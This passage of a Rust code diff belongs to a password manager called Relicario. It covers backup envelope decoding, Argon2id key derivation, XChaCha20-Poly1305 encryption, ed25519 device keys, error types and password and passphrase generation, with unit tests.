.map_err(|e| RelicarioError::Format(format!("base64 salt: {e}")))?;
if salt_decoded.len() != 32 {
return Err(RelicarioError::Format(format!(
"salt length: expected 32, got {}",
salt_decoded.len()
)));
}
salt_out.copy_from_slice(&salt_decoded);
let manifest_enc = b64
.decode(&env.vault.manifest)
.map_err(|e| RelicarioError::Format(format!("base64 manifest: {e}")))?;
let settings_enc = b64
.decode(&env.vault.settings)
.map_err(|e| RelicarioError::Format(format!("base64 settings: {e}")))?;
let mut items = Vec::with_capacity(env.vault.items.len());
for (id, b64_ct) in env.vault.items {
let ct = b64
.decode(&b64_ct)
.map_err(|e| RelicarioError::Format(format!("base64 item {id}: {e}")))?;
items.push(UnpackedItem { id, ciphertext: ct });
}
let mut attachments = Vec::with_capacity(env.vault.attachments.len());
for (combined, b64_ct) in env.vault.attachments {
let (item_id, attachment_id) = combined
.split_once('/')
.map(|(a, b)| (a.to_string(), b.to_string()))
.ok_or_else(|| {
RelicarioError::Format(format!("bad attachment key '{combined}'"))
})?;
let ct = b64
.decode(&b64_ct)
.map_err(|e| RelicarioError::Format(format!("base64 attachment {combined}: {e}")))?;
attachments.push(UnpackedAttachment { item_id, attachment_id, ciphertext: ct });
}
let reference_jpg = env
.vault
.reference_jpg
.as_deref()
.map(|s| b64.decode(s))
.transpose()
.map_err(|e| RelicarioError::Format(format!("base64 reference_jpg: {e}")))?;
let git_archive = env
.vault
.git_archive
.as_deref()
.map(|s| b64.decode(s))
.transpose()
.map_err(|e| RelicarioError::Format(format!("base64 git_archive: {e}")))?;
Ok(BackupOutput {
salt: salt_out,
params_json: env.vault.params,
devices_json: env.vault.devices,
manifest_enc,
settings_enc,
items,
attachments,
reference_jpg,
git_archive,
created_at: env.created_at,
})
}
fn derive_backup_key(passphrase: &[u8], salt: &[u8]) -> Result<Zeroizing<[u8; 32]>> {
use unicode_normalization::UnicodeNormalization;
// NFC normalize passphrase (matches derive_master_key in crypto.rs)
let nfc_passphrase: Vec<u8> = match std::str::from_utf8(passphrase) {
Ok(s) => s.nfc().collect::<String>().into_bytes(),
Err(_) => passphrase.to_vec(),
};
let params = Params::new(ARGON2_M_KIB, ARGON2_T, ARGON2_P, Some(32))
.map_err(|e| RelicarioError::Kdf(format!("argon2 params: {e}")))?;
let argon = Argon2::new(Algorithm::Argon2id, Version::V0x13, params);
let mut key = Zeroizing::new([0u8; 32]);
argon
.hash_password_into(&nfc_passphrase, salt, key.as_mut_slice())
.map_err(|e| RelicarioError::Kdf(format!("argon2 hash: {e}")))?;
Ok(key)
}
fn build_envelope(input: BackupInput<'_>, created_at: i64) -> Result<Envelope> {
let b64 = base64::engine::general_purpose::STANDARD;
let mut items = std::collections::BTreeMap::new();
for it in input.items {
items.insert(it.id, b64.encode(it.ciphertext));
}
let mut attachments = std::collections::BTreeMap::new();
for a in input.attachments {
let key = format!("{}/{}", a.item_id, a.attachment_id);
attachments.insert(key, b64.encode(a.ciphertext));
}
Ok(Envelope {
schema_version: SCHEMA_VERSION,
created_at,
vault: VaultEnvelope {
salt: b64.encode(input.salt),
params: input.params_json.to_string(),
devices: input.devices_json.to_string(),
manifest: b64.encode(input.manifest_enc),
settings: b64.encode(input.settings_enc),
items,
attachments,
reference_jpg: input.reference_jpg.map(|b| b64.encode(b)),
git_archive: input.git_archive.map(|b| b64.encode(b)),
},
})
}

View File

@@ -0,0 +1,420 @@
//! Argon2id key derivation and XChaCha20-Poly1305 authenticated encryption.
//!
//! This module implements the low-level "encrypt bytes / decrypt bytes" layer.
//! Higher-level typed wrappers (encrypt_entry, encrypt_manifest) live in [`crate::vault`].
//!
//! ## Why XChaCha20-Poly1305 over AES-GCM
//!
//! - **192-bit nonce** (vs. 96-bit for AES-GCM): eliminates nonce collision risk
//! even with random nonces across billions of encryptions. With AES-GCM's 96-bit
//! nonce, birthday-bound collisions become probable around 2^48 messages under
//! the same key -- a real concern for a long-lived vault.
//! - **Fast on WASM and ARM without AES-NI**: ChaCha20 is a pure arithmetic cipher
//! (add/rotate/XOR) with no dependency on hardware AES acceleration. AES-GCM is
//! fast *only* with AES-NI; without it, software AES is both slow and vulnerable
//! to cache-timing side channels.
//!
//! ## Binary ciphertext format
//!
//! Every encrypted blob produced by [`encrypt`] has this layout:
//!
//! ```text
//! [version: 1 byte] [nonce: 24 bytes] [ciphertext + Poly1305 tag: variable]
//! ```
//!
//! - **Version byte** (`0x02`): allows future format changes without ambiguity.
//! Decryption rejects any version it does not recognize.
//! - **Nonce** (24 bytes): randomly generated per encryption via [`OsRng`].
//! Stored alongside the ciphertext so the decryptor does not need out-of-band
//! nonce management.
//! - **Ciphertext + tag**: the AEAD output. The Poly1305 tag (16 bytes) is
//! appended by the cipher implementation; we do not separate it.
//!
//! ## KDF pipeline
//!
//! [`derive_master_key`] concatenates the passphrase and image_secret as a single
//! password input to Argon2id:
//!
//! ```text
//! password = passphrase_bytes || image_secret (32 bytes)
//! master_key = Argon2id(password, salt, params) -> 32 bytes
//! ```
//!
//! Both factors contribute to the derived key -- compromising one without the
//! other is insufficient. The salt is vault-specific and stored in `.relicario/salt`.
use argon2::{Algorithm, Argon2, Params, Version};
use chacha20poly1305::{
aead::{Aead, KeyInit},
XChaCha20Poly1305, XNonce,
};
use rand::{rngs::OsRng, RngCore};
use serde::{Deserialize, Serialize};
use unicode_normalization::UnicodeNormalization;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
/// Current binary format version. Increment this if the ciphertext layout changes.
pub const VERSION_BYTE: u8 = 0x02;
/// XChaCha20-Poly1305 nonce length: 192 bits = 24 bytes.
const NONCE_LEN: usize = 24;
/// Poly1305 authentication tag length: 128 bits = 16 bytes.
/// Used only for minimum-length validation during decryption.
const TAG_LEN: usize = 16;
/// Total header size: version byte + nonce. The ciphertext (including tag)
/// follows immediately after the header.
const HEADER_LEN: usize = 1 + NONCE_LEN; // version + nonce
/// Encrypt arbitrary plaintext bytes under a 256-bit key using XChaCha20-Poly1305.
///
/// Returns the binary blob in the format: `version(1) || nonce(24) || ciphertext+tag`.
/// A fresh random nonce is generated for each call via the OS CSPRNG.
///
/// # Errors
///
/// Returns [`RelicarioError::Encrypt`] if the underlying AEAD operation fails
/// (extremely unlikely in practice).
pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
// Generate a fresh random 24-byte nonce for every encryption.
// With 192 bits of randomness, nonce reuse probability is negligible
// even across billions of encryptions under the same key.
let mut nonce_bytes = [0u8; NONCE_LEN];
OsRng.fill_bytes(&mut nonce_bytes);
let nonce = XNonce::from(nonce_bytes);
let ciphertext = cipher
.encrypt(&nonce, plaintext)
.map_err(|e| RelicarioError::Encrypt(e.to_string()))?;
// Output: version(1) || nonce(24) || ciphertext+tag
let mut output = Vec::with_capacity(HEADER_LEN + ciphertext.len());
output.push(VERSION_BYTE);
output.extend_from_slice(&nonce_bytes);
output.extend_from_slice(&ciphertext);
Ok(output)
}
/// Decrypt a blob produced by [`encrypt`], returning the original plaintext.
///
/// Validates the version byte and minimum blob length before attempting
/// authenticated decryption. If the key is wrong or the data has been
/// tampered with, the Poly1305 tag verification fails and [`RelicarioError::Decrypt`]
/// is returned -- with no information about which bytes were wrong (preventing
/// padding oracle / chosen-ciphertext attacks).
///
/// # Errors
///
/// - [`RelicarioError::Format`] if the data is too short or has an unknown version byte.
/// - [`RelicarioError::Decrypt`] if the AEAD tag verification fails (wrong key or
/// tampered data).
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
// Minimum valid blob: 1 (version) + 24 (nonce) + 16 (tag) = 41 bytes.
// A zero-length plaintext produces exactly 41 bytes of output.
if data.len() < HEADER_LEN + TAG_LEN {
return Err(RelicarioError::Format(
"data too short to be valid ciphertext".into(),
));
}
let found = data[0];
if found != VERSION_BYTE {
return Err(RelicarioError::UnsupportedFormatVersion {
found,
expected: VERSION_BYTE,
});
}
let nonce = XNonce::from_slice(&data[1..1 + NONCE_LEN]);
let ciphertext = &data[HEADER_LEN..];
let cipher = XChaCha20Poly1305::new(key.into());
let plaintext = cipher
.decrypt(nonce, ciphertext)
.map_err(|_| RelicarioError::Decrypt)?;
Ok(plaintext)
}
/// Tunable parameters for the Argon2id key derivation function.
///
/// These are stored in the vault's `.relicario/params.json` so that every client
/// derives the same master key from the same inputs. Making them configurable
/// lets tests use fast params (m=256, t=1, p=1) while production uses strong
/// params (m=64MiB, t=3, p=4).
///
/// The parameters follow Argon2id naming conventions:
/// - `argon2_m`: memory cost in KiB
/// - `argon2_t`: time cost (number of iterations)
/// - `argon2_p`: parallelism degree (number of lanes)
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct KdfParams {
/// Memory cost in KiB. Default is 65536 (64 MiB), which makes GPU/ASIC
/// brute-force attacks expensive. Tests use 256 KiB for speed.
pub argon2_m: u32,
/// Time cost (iteration count). Default is 3. Higher values increase CPU
/// time linearly. Combined with high memory cost, this makes each key
/// derivation take ~1 second on modern hardware.
pub argon2_t: u32,
/// Parallelism degree. Default is 4. Sets the number of independent lanes
/// in the Argon2id memory-hard computation.
pub argon2_p: u32,
}
/// Production-strength default parameters: 64 MiB memory, 3 iterations, 4 lanes.
///
/// These are calibrated to take roughly 0.5-1 second on a modern desktop CPU,
/// making brute-force attacks impractical while keeping interactive unlock fast
/// enough for daily use.
impl Default for KdfParams {
fn default() -> Self {
Self {
argon2_m: 65536,
argon2_t: 3,
argon2_p: 4,
}
}
}
/// Derive a 256-bit master key from the user's passphrase and reference image secret.
///
/// The two factors (passphrase + image_secret) are concatenated into a single
/// password input to Argon2id. This means both factors contribute entropy to
/// the derived key -- compromising one factor alone is insufficient.
///
/// # Arguments
///
/// - `passphrase`: the user's passphrase as raw UTF-8 bytes.
/// - `image_secret`: the 32-byte secret extracted from the reference JPEG via
/// [`crate::imgsecret::extract`].
/// - `salt`: a 32-byte vault-specific salt (stored in `.relicario/salt`).
/// - `params`: the Argon2id tuning parameters (stored in `.relicario/params.json`).
///
/// # Returns
///
/// A 32-byte master key suitable for use with [`encrypt`] and [`decrypt`].
///
/// # Errors
///
/// Returns [`RelicarioError::Kdf`] if the Argon2id parameters are invalid (e.g.,
/// memory cost below the library's minimum).
pub fn derive_master_key(
passphrase: &[u8],
image_secret: &[u8; 32],
salt: &[u8; 32],
params: &KdfParams,
) -> Result<Zeroizing<[u8; 32]>> {
let argon2_params = Params::new(
params.argon2_m,
params.argon2_t,
params.argon2_p,
Some(32),
)
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
// Normalize passphrase to NFC. Invalid UTF-8 bytes pass through unchanged.
let nfc_passphrase: Vec<u8> = match std::str::from_utf8(passphrase) {
Ok(s) => s.nfc().collect::<String>().into_bytes(),
Err(_) => passphrase.to_vec(),
};
// Length-prefixed concatenation: [u64_be(len(passphrase))][passphrase]
// [u64_be(32)][image_secret]
// Eliminates the (passphrase, image_secret) boundary ambiguity (audit H1).
let mut password = Zeroizing::new(Vec::with_capacity(8 + nfc_passphrase.len() + 8 + 32));
password.extend_from_slice(&(nfc_passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(&nfc_passphrase);
password.extend_from_slice(&32u64.to_be_bytes());
password.extend_from_slice(image_secret);
let mut output = Zeroizing::new([0u8; 32]);
argon2
.hash_password_into(password.as_slice(), salt, output.as_mut())
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
Ok(output)
}
#[cfg(test)]
mod tests {
use super::*;
fn fast_params() -> KdfParams {
KdfParams {
argon2_m: 256,
argon2_t: 1,
argon2_p: 1,
}
}
#[test]
fn derive_master_key_deterministic() {
let passphrase = b"test-passphrase";
let image_secret = [0x42u8; 32];
let salt = [0x01u8; 32];
let params = fast_params();
let key1 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
assert_eq!(*key1, *key2);
}
#[test]
fn derive_master_key_different_passphrase() {
let image_secret = [0x42u8; 32];
let salt = [0x01u8; 32];
let params = fast_params();
let key1 = derive_master_key(b"passphrase-one", &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(b"passphrase-two", &image_secret, &salt, &params).unwrap();
assert_ne!(*key1, *key2);
}
#[test]
fn derive_master_key_different_image_secret() {
let passphrase = b"test-passphrase";
let salt = [0x01u8; 32];
let params = fast_params();
let image_secret1 = [0x11u8; 32];
let image_secret2 = [0x22u8; 32];
let key1 = derive_master_key(passphrase, &image_secret1, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret2, &salt, &params).unwrap();
assert_ne!(*key1, *key2);
}
#[test]
fn encrypt_decrypt_round_trip() {
let key = [0xABu8; 32];
let plaintext = b"hello, relicario!";
let ciphertext = encrypt(&key, plaintext).unwrap();
let decrypted = decrypt(&key, &ciphertext).unwrap();
assert_eq!(decrypted, plaintext);
}
#[test]
fn decrypt_wrong_key_fails() {
let key = [0xABu8; 32];
let wrong_key = [0xCDu8; 32];
let plaintext = b"sensitive data";
let ciphertext = encrypt(&key, plaintext).unwrap();
let result = decrypt(&wrong_key, &ciphertext);
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), RelicarioError::Decrypt));
}
#[test]
fn decrypt_tampered_data_fails() {
let key = [0xABu8; 32];
let plaintext = b"sensitive data";
let mut ciphertext = encrypt(&key, plaintext).unwrap();
// Flip a byte in the ciphertext portion (after header)
let flip_pos = HEADER_LEN + 2;
ciphertext[flip_pos] ^= 0xFF;
let result = decrypt(&key, &ciphertext);
assert!(result.is_err());
}
#[test]
fn ciphertext_format_has_correct_structure() {
let key = [0x11u8; 32];
let plaintext = b"test plaintext for structure check";
let ciphertext = encrypt(&key, plaintext).unwrap();
// Expected length: 1 (version) + 24 (nonce) + plaintext_len + 16 (tag)
let expected_len = 1 + 24 + plaintext.len() + 16;
assert_eq!(ciphertext.len(), expected_len);
// Version byte must be 0x02
assert_eq!(ciphertext[0], 0x02);
}
#[test]
fn length_prefix_eliminates_concatenation_ambiguity() {
// Without length-prefix: ("abc", [0x44, ...]) and ("abcD", [...]) could collide.
// With length-prefix: distinct inputs always yield distinct keys.
let salt = [0u8; 32];
let params = fast_params();
// Pair A: passphrase "abc", image_secret starts with 0x44
let mut img_a = [0u8; 32]; img_a[0] = 0x44;
let key_a = derive_master_key(b"abc", &img_a, &salt, &params).unwrap();
// Pair B: passphrase "abcD" (one extra char), image_secret starts with original byte 1
let mut img_b = [0u8; 32]; img_b[0] = 0x44; // same image
let key_b = derive_master_key(b"abcD", &img_b, &salt, &params).unwrap();
// With length-prefix, the keys MUST differ.
assert_ne!(*key_a, *key_b);
}
#[test]
fn nfc_normalization_collapses_unicode_forms() {
// "café" can be written as NFC (é = U+00E9) or NFD (e + U+0301).
// Both must produce the same key after NFC normalization.
let salt = [0u8; 32];
let img = [0u8; 32];
let params = fast_params();
let nfc = "caf\u{00e9}".as_bytes(); // é precomposed
let nfd = "cafe\u{0301}".as_bytes(); // e + combining acute
let key_nfc = derive_master_key(nfc, &img, &salt, &params).unwrap();
let key_nfd = derive_master_key(nfd, &img, &salt, &params).unwrap();
assert_eq!(*key_nfc, *key_nfd);
}
#[test]
fn master_key_is_zeroized_on_drop() {
// Smoke test: master_key returns a Zeroizing<[u8; 32]>, which compiles only if
// we wrap correctly. The drop wipe is verified by the zeroize crate's tests.
let salt = [0u8; 32];
let img = [0u8; 32];
let params = fast_params();
let key: zeroize::Zeroizing<[u8; 32]> = derive_master_key(b"x", &img, &salt, &params).unwrap();
assert_eq!(key.len(), 32);
}
#[test]
fn version_byte_is_0x02() {
assert_eq!(VERSION_BYTE, 0x02);
}
#[test]
fn decrypt_rejects_v1_blob_with_typed_error() {
// Construct a v1-style blob: [0x01][24 nonce bytes][16 tag bytes].
let mut blob = vec![0x01u8];
blob.extend_from_slice(&[0u8; 24]);
blob.extend_from_slice(&[0u8; 16]);
let key = Zeroizing::new([0u8; 32]);
let err = decrypt(&*key, &blob).expect_err("v1 blob should fail decrypt");
match err {
RelicarioError::UnsupportedFormatVersion { found, expected } => {
assert_eq!(found, 0x01);
assert_eq!(expected, 0x02);
}
other => panic!("expected UnsupportedFormatVersion, got {:?}", other),
}
}
}

View File

@@ -0,0 +1,135 @@
//! Device identity: ed25519 keypairs in OpenSSH format, signing and verification.
use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
use serde::{Deserialize, Serialize};
use ssh_key::{LineEnding, PrivateKey, PublicKey};
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
/// A registered device entry in devices.json.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DeviceEntry {
pub name: String,
/// OpenSSH public key format: "ssh-ed25519 AAAA..."
pub public_key: String,
pub added_at: i64,
pub added_by: String,
}
/// A revoked device entry in revoked.json.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct RevokedEntry {
pub name: String,
pub public_key: String,
pub revoked_at: i64,
pub revoked_by: String,
}
/// Generate a new ed25519 keypair, returning (private_openssh, public_openssh).
pub fn generate_keypair() -> Result<(Zeroizing<String>, String)> {
use ssh_key::private::{Ed25519Keypair, Ed25519PrivateKey, KeypairData};
use ssh_key::public::Ed25519PublicKey;
let signing_key = SigningKey::generate(&mut rand::rngs::OsRng);
let verifying_key = signing_key.verifying_key();
// Build ssh-key types from raw bytes
let ed_private = Ed25519PrivateKey::from_bytes(signing_key.as_bytes());
let ed_public = Ed25519PublicKey(*verifying_key.as_bytes());
let keypair = Ed25519Keypair { public: ed_public, private: ed_private };
let keypair_data = KeypairData::Ed25519(keypair);
let ssh_private = PrivateKey::new(keypair_data, "")
.map_err(|e| RelicarioError::DeviceKey(format!("private key create: {e}")))?;
let ssh_public = ssh_private.public_key();
let private_pem = ssh_private
.to_openssh(LineEnding::LF)
.map_err(|e| RelicarioError::DeviceKey(format!("private key encode: {e}")))?;
let public_line = ssh_public
.to_openssh()
.map_err(|e| RelicarioError::DeviceKey(format!("public key encode: {e}")))?;
Ok((Zeroizing::new(private_pem.to_string()), public_line))
}
/// Sign data with an OpenSSH private key, returning base64 signature.
pub fn sign(private_key_openssh: &str, data: &[u8]) -> Result<String> {
use base64::Engine;
let private = PrivateKey::from_openssh(private_key_openssh)
.map_err(|e| RelicarioError::DeviceKey(format!("parse private key: {e}")))?;
let key_data = private
.key_data()
.ed25519()
.ok_or_else(|| RelicarioError::DeviceKey("not an ed25519 key".into()))?;
let secret_slice: &[u8] = key_data.private.as_ref();
let secret_bytes: [u8; 32] = secret_slice
.try_into()
.map_err(|_| RelicarioError::DeviceKey("invalid key length".into()))?;
let signing_key = SigningKey::from_bytes(&secret_bytes);
let signature = signing_key.sign(data);
Ok(base64::engine::general_purpose::STANDARD.encode(signature.to_bytes()))
}
/// Verify a signature against an OpenSSH public key.
pub fn verify(public_key_openssh: &str, data: &[u8], signature_b64: &str) -> Result<bool> {
use base64::Engine;
let public = PublicKey::from_openssh(public_key_openssh)
.map_err(|e| RelicarioError::DeviceKey(format!("parse public key: {e}")))?;
let key_data = public
.key_data()
.ed25519()
.ok_or_else(|| RelicarioError::DeviceKey("not an ed25519 key".into()))?;
let pub_slice: &[u8] = key_data.as_ref();
let pub_bytes: [u8; 32] = pub_slice
.try_into()
.map_err(|_| RelicarioError::DeviceKey("invalid key length".into()))?;
let verifying_key = VerifyingKey::from_bytes(&pub_bytes)
.map_err(|e| RelicarioError::DeviceKey(format!("invalid public key: {e}")))?;
let sig_bytes = base64::engine::general_purpose::STANDARD
.decode(signature_b64)
.map_err(|e| RelicarioError::DeviceKey(format!("decode signature: {e}")))?;
let signature = Signature::from_slice(&sig_bytes)
.map_err(|e| RelicarioError::DeviceKey(format!("parse signature: {e}")))?;
Ok(verifying_key.verify(data, &signature).is_ok())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn generate_and_sign_verify_roundtrip() {
let (private, public) = generate_keypair().unwrap();
let data = b"hello world";
let sig = sign(&private, data).unwrap();
assert!(verify(&public, data, &sig).unwrap());
}
#[test]
fn verify_rejects_wrong_data() {
let (private, public) = generate_keypair().unwrap();
let sig = sign(&private, b"hello").unwrap();
assert!(!verify(&public, b"world", &sig).unwrap());
}
#[test]
fn verify_rejects_wrong_key() {
let (private, _) = generate_keypair().unwrap();
let (_, other_public) = generate_keypair().unwrap();
let sig = sign(&private, b"hello").unwrap();
assert!(!verify(&other_public, b"hello", &sig).unwrap());
}
}

View File

@@ -0,0 +1,187 @@
//! Unified error type for the Relicario core crate.
//!
//! Every fallible function in this crate returns [`Result<T>`], which is an alias
//! for `std::result::Result<T, RelicarioError>`. Using a single error enum keeps the
//! public API surface predictable and makes error handling in callers (CLI, WASM
//! bindings, mobile FFI) straightforward.
use thiserror::Error;
/// All errors that can originate from Relicario core operations.
///
/// Variants are ordered roughly by the pipeline stage where they occur:
/// KDF -> encryption -> decryption -> format parsing -> item lookup -> image
/// steganography -> serialization -> device keys.
#[derive(Debug, Error)]
pub enum RelicarioError {
/// The Argon2id key derivation failed. This typically means invalid KDF
/// parameters were supplied (e.g., memory cost below Argon2's minimum).
#[error("key derivation failed: {0}")]
Kdf(String),
/// XChaCha20-Poly1305 encryption failed. In practice this is extremely rare
/// -- the only realistic cause is an internal library error, since the cipher
/// accepts arbitrary-length plaintext.
#[error("encryption failed: {0}")]
Encrypt(String),
/// Authenticated decryption failed. Message intentionally opaque (audit M4).
#[error("decryption failed")]
Decrypt,
/// The binary ciphertext blob does not match the expected format (e.g.,
/// too short to contain the version byte + nonce + tag, or an unrecognized
/// version byte). This usually indicates file corruption or a version
/// mismatch between the writer and reader.
#[error("invalid vault format: {0}")]
Format(String),
#[error("unsupported vault format version: found 0x{found:02x}, expected 0x{expected:02x}")]
UnsupportedFormatVersion { found: u8, expected: u8 },
/// Backup file's first 4 bytes don't match the "RBAK" magic.
#[error("not a Relicario backup file")]
BackupBadMagic,
/// Backup format version is newer than this binary supports.
#[error("backup created by a newer Relicario; upgrade required")]
BackupUnsupportedVersion { found: u8, expected: u8 },
/// Backup envelope schema version doesn't match.
#[error("backup envelope schema v{found}; this Relicario reads v{expected}")]
BackupSchemaMismatch { found: u32, expected: u32 },
/// CSV header doesn't match the LastPass column layout.
#[error("unrecognized CSV header — expected LastPass export format ({0})")]
ImportCsvHeader(String),
/// CSV body could not be parsed (mismatched quoting, encoding, etc.).
/// Per-row record errors that the importer recovers from become
/// `ImportWarning` entries — this variant is reserved for failures
/// that abort the whole import.
#[error("CSV parse failed: {0}")]
ImportCsvFormat(String),
/// An item was looked up by ID but does not exist in the manifest.
#[error("item not found: {0}")]
ItemNotFound(String),
/// A passphrase failed the strength gate at vault creation (audit H3).
#[error("passphrase strength insufficient (score {score}/4)")]
WeakPassphrase { score: u8 },
/// An attachment exceeded the per-attachment cap from VaultSettings.
#[error("attachment too large: {size} bytes > {max} bytes max")]
AttachmentTooLarge { size: u64, max: u64 },
/// A general error from the image steganography subsystem (imgsecret).
/// Covers issues like failing to decode the carrier JPEG or failing to
/// encode the output JPEG after modification.
#[error("imgsecret: {0}")]
ImgSecret(String),
/// The carrier image is too small to hold the embedded secret with
/// sufficient redundancy. The embed region (central 70% of the image)
/// must contain at least `BLOCKS_PER_COPY * MIN_COPIES` 8x8 blocks.
#[error("image too small: need at least {min_width}x{min_height}, got {actual_width}x{actual_height}")]
ImageTooSmall {
min_width: u32,
min_height: u32,
actual_width: u32,
actual_height: u32,
},
/// Secret extraction from a JPEG failed. This can mean:
/// - The image never had a secret embedded in it.
/// - The image was recompressed below Q85, destroying the QIM watermarks.
/// - The image was cropped beyond the 15% crumple zone.
/// - Majority-vote confidence fell below the 60% threshold on one or more bits.
#[error("extraction failed: no valid secret found in image")]
ExtractionFailed,
/// JSON serialization or deserialization of an entry or manifest failed.
/// Wraps [`serde_json::Error`] transparently via `#[from]`.
#[error("json error: {0}")]
Json(#[from] serde_json::Error),
/// An error related to device ed25519 key operations. Device keys are
/// separate from the vault KDF -- revoking a device does not require
/// rotating the passphrase or reference image.
#[error("device key error: {0}")]
DeviceKey(String),
/// HOTP requires incrementing and persisting the counter after each use.
/// Without vault-save machinery in compute_totp_code, HOTP would desync
/// immediately. Use TOTP instead.
#[error("HOTP is not supported: counter persistence requires vault save after each use")]
HotpNotSupported,
}
/// Crate-wide result alias, reducing boilerplate in function signatures.
pub type Result<T> = std::result::Result<T, RelicarioError>;
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn decrypt_error_message_is_opaque() {
let err = RelicarioError::Decrypt;
assert_eq!(format!("{}", err), "decryption failed");
}
#[test]
fn weak_passphrase_carries_score() {
let err = RelicarioError::WeakPassphrase { score: 1 };
let s = format!("{}", err);
assert!(s.contains("passphrase"));
assert!(s.contains("strength"));
}
#[test]
fn attachment_too_large_reports_sizes() {
let err = RelicarioError::AttachmentTooLarge { size: 11_000_000, max: 10_485_760 };
let s = format!("{}", err);
assert!(s.contains("11000000"));
assert!(s.contains("10485760"));
}
#[test]
fn item_not_found_carries_id() {
let err = RelicarioError::ItemNotFound("abc123".to_string());
assert!(format!("{}", err).contains("abc123"));
}
#[test]
fn unsupported_format_version_reports_byte() {
let err = RelicarioError::UnsupportedFormatVersion { found: 0x01, expected: 0x02 };
let s = format!("{}", err);
assert!(s.contains("01") || s.contains("1"));
assert!(s.contains("02") || s.contains("2"));
}
#[test]
fn backup_errors_carry_useful_messages() {
let bad = RelicarioError::BackupBadMagic;
assert!(format!("{}", bad).contains("not a Relicario backup file"));
let ver = RelicarioError::BackupUnsupportedVersion { found: 0x02, expected: 0x01 };
let s = format!("{}", ver);
assert!(s.contains("newer"));
let schema = RelicarioError::BackupSchemaMismatch { found: 2, expected: 1 };
let s = format!("{}", schema);
assert!(s.contains("v2") && s.contains("v1"));
}
#[test]
fn import_errors_carry_useful_messages() {
let h = RelicarioError::ImportCsvHeader("missing 'name' column".into());
assert!(format!("{}", h).contains("LastPass"));
assert!(format!("{}", h).contains("missing 'name'"));
let f = RelicarioError::ImportCsvFormat("unterminated quote at line 12".into());
assert!(format!("{}", f).contains("CSV parse failed"));
assert!(format!("{}", f).contains("unterminated quote"));
}
}

View File

@@ -0,0 +1,269 @@
//! Password and passphrase generators. CSPRNG-only; rejection-sampled to
//! eliminate modulo bias. Strength rating via zxcvbn.
use bip39::{Language, Mnemonic};
use rand::distributions::{Distribution, Uniform};
use rand::rngs::OsRng;
use rand::RngCore;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
use crate::settings::{Capitalization, CharClasses, GeneratorRequest, SymbolCharset};
const SAFE_SYMBOLS: &[u8] = b"!@#$%^&*-_=+";
const EXTENDED_SYMBOLS: &[u8] = b"!@#$%^&*-_=+~?.";
const LOWER: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
const UPPER: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const DIGITS: &[u8] = b"0123456789";
pub fn generate_password(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
match req {
GeneratorRequest::Random { length, classes, symbol_charset } => {
random_password(*length, classes, symbol_charset)
}
GeneratorRequest::Bip39 { .. } => Err(RelicarioError::Format(
"use generate_passphrase() for BIP39 requests".into(),
)),
}
}
fn random_password(
length: u32,
classes: &CharClasses,
symbol_charset: &SymbolCharset,
) -> Result<Zeroizing<String>> {
if length == 0 || length > 128 {
return Err(RelicarioError::Format("length must be 1..=128".into()));
}
let mut charset: Vec<u8> = Vec::new();
if classes.lower { charset.extend_from_slice(LOWER); }
if classes.upper { charset.extend_from_slice(UPPER); }
if classes.digits { charset.extend_from_slice(DIGITS); }
if classes.symbols {
let symbols: &[u8] = match symbol_charset {
SymbolCharset::SafeOnly => SAFE_SYMBOLS,
SymbolCharset::Extended => EXTENDED_SYMBOLS,
SymbolCharset::Custom(s) => {
if !s.is_ascii() {
return Err(RelicarioError::Format(
"SymbolCharset::Custom must be ASCII-only".into(),
));
}
s.as_bytes()
}
};
charset.extend_from_slice(symbols);
}
if charset.is_empty() {
return Err(RelicarioError::Format("at least one character class required".into()));
}
let dist = Uniform::from(0..charset.len());
let mut rng = OsRng;
let bytes: Vec<u8> = (0..length).map(|_| charset[dist.sample(&mut rng)]).collect();
Ok(Zeroizing::new(String::from_utf8(bytes).expect("ascii-only charset")))
}
pub fn generate_passphrase(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
match req {
GeneratorRequest::Bip39 { word_count, separator, capitalization } => {
bip39_passphrase(*word_count, separator, *capitalization)
}
GeneratorRequest::Random { .. } => Err(RelicarioError::Format(
"use generate_password() for Random requests".into(),
)),
}
}
fn bip39_passphrase(word_count: u32, separator: &str, cap: Capitalization) -> Result<Zeroizing<String>> {
if !matches!(word_count, 3..=12) {
return Err(RelicarioError::Format("word_count must be 3..=12".into()));
}
// bip39 v2 requires entropy 128256 bits in multiples of 32 bits (4 bytes).
// We always generate 128 bits (16 bytes) → 12 words, then take the first
// word_count words. This gives full-entropy sourcing even for short passphrases.
let mut entropy = Zeroizing::new([0u8; 16]);
OsRng.fill_bytes(entropy.as_mut_slice());
let m = Mnemonic::from_entropy_in(Language::English, entropy.as_slice())
.map_err(|e| RelicarioError::Format(format!("bip39: {e}")))?;
let words: Vec<String> = m.words().take(word_count as usize).map(|w| {
match cap {
Capitalization::Lower => w.to_ascii_lowercase(),
Capitalization::Upper => w.to_ascii_uppercase(),
Capitalization::FirstOfEach | Capitalization::Title => {
let mut chars = w.chars();
chars.next().map(|c| c.to_ascii_uppercase().to_string())
.unwrap_or_default() + chars.as_str()
}
Capitalization::Mixed => {
w.chars().enumerate().map(|(i, c)| {
if i % 2 == 0 { c.to_ascii_uppercase() } else { c }
}).collect()
}
